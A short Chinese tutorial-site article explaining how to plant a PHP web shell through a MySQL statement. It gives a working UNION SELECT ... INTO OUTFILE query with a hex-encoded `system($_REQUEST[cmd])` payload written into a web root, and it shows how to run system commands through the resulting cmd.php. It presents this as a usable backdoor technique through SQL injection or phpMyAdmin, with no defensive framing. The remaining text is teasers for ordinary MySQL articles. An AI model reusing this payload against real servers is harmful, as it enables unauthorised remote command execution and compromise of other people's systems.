通过Mysql的语句生成后门木马的方法

2016-01-29 15:05 4 1 收藏

通过Mysql的语句生成后门木马的方法,通过Mysql的语句生成后门木马的方法

【 tulaoshi.com - MySQL 】

通过Mysql 的语句生成后门木马的方法!

SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'

通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:

2 3 <?php system($_REQUEST[cmd]);?

再通过 http://www.xxx.com/cmd.php?cmd=dir c: 就可以执行系统DOS命令!

哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么东西?

就是<?php system($_REQUEST[cmd]);?的十六进制编码了,如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的,哪这个后门就不能执行的了!如果你有其它语名要弄,可以到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连在一起就可以了!

来源:http://www.tulaoshi.com/n/20160129/1495200.html

上一篇：《全民三国》新手入门引导
下一篇：《影之刃》轻羽角色培养及PVP高手心得

看过《通过Mysql的语句生成后门木马的方法》的人还看了以下文章更多>>

通过Mysql的语句生成后门木马的方法 01-29
MySQL 通过索引优化含ORDER BY的语句 02-19
mysql中的替换语句 01-29
通过SQLServer 2008 操作 MySQL的方法 02-19
通过mysql show processlist 命令检查mysql锁的方法 02-19
不能通过mysql.sock连接MySQL问题的方法 02-19
MYSQL WHERE语句优化 02-19
mysql常用sql语句 02-19
通过HSODBC访问mysql的实现步骤 02-19
mysql替换表中的字符串的sql语句 02-19

防SQL注入：生成参数化的通用分页查询语句

标签：编程语言网络编程

前些时间看了玉开兄的“如此高效通用的分页存储过程是带有sql注入漏洞的”这篇文章，才突然想起某个项目也是使用了累似的通用分页存储过程。使用这种通用的存储过程进行分页查询，想要防SQL注入，只能对输入的参数进行过滤，例如将一个单引号“'”转换成两个单引号“''”，但这种做法是不安全的，厉害的黑客可以通过编码的方式...

mysql 动态执行存储过程语句

标签：编程语言网络编程

下面写一个给大家做参考啊代码如下： create procedure sp_find(pfind varchar(500) BEGIN DECLAR msql varchar(2000); SET @MyQuery=Concat('select * from 表 where ',pfind); PREPARE msql from @MyQuery; EXECUTE msql; END 注意一点的就是MYSQL中有好多已经定义好的函数可以使用，比如上面的拼接函数Concat()，利用好这些函数会...

mysql LOAD语句批量录入数据

标签：编程语言网络编程

幸运的是，MySQL提供了一些方法用于批量录入数据，使得向表中添加数据变得容易了。本节以及下一节，将介绍这些方法。本节将介绍SQL语言级的解决方法。 1、基本语法语法：LOAD DATA [LOCAL] INFILE 'file_name.txt' [REPLACE | IGNORE] INTO TABLE tbl_name LOAD DATA INFILE语句从一个文本文件中以很高的速度读入一个表中。如果指定LOCAL关键...

mysql 动态生成测试数据

标签：编程语言网络编程

一、问题要生成两类数据： A类：两位的 01 02 03 。。。09 10 11。。。19 20 21 。。。98 99 另一类B类：三位的 100 101 102 。。。110 111 112。。。998 999 二、解决办法 1、建表代码如下： CREATE TABLE `test`.`ta` ( `a` varchar(45) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 2、创建存储过程代码如下： DE...

MySQL 创建主键,外键和复合主键的语句

标签：编程语言网络编程

1.创建主键语法 ALTER TABLE table_name ADD CONSTRAINT pk_name PRIMARY KEY(列名); 2.创建外键语法 ALTER TABLE news_info[子表名] ADD CONSTRAINT FK_news_info_news_type[约束名] FOREIGN KEY (info_id)[子表列] REFERENCES news_type[主表名] (id)[主表列] ; 3.使用组合主键如果一列不能唯一区分一个表里的记录时，可以考虑多...

查看更多精彩>>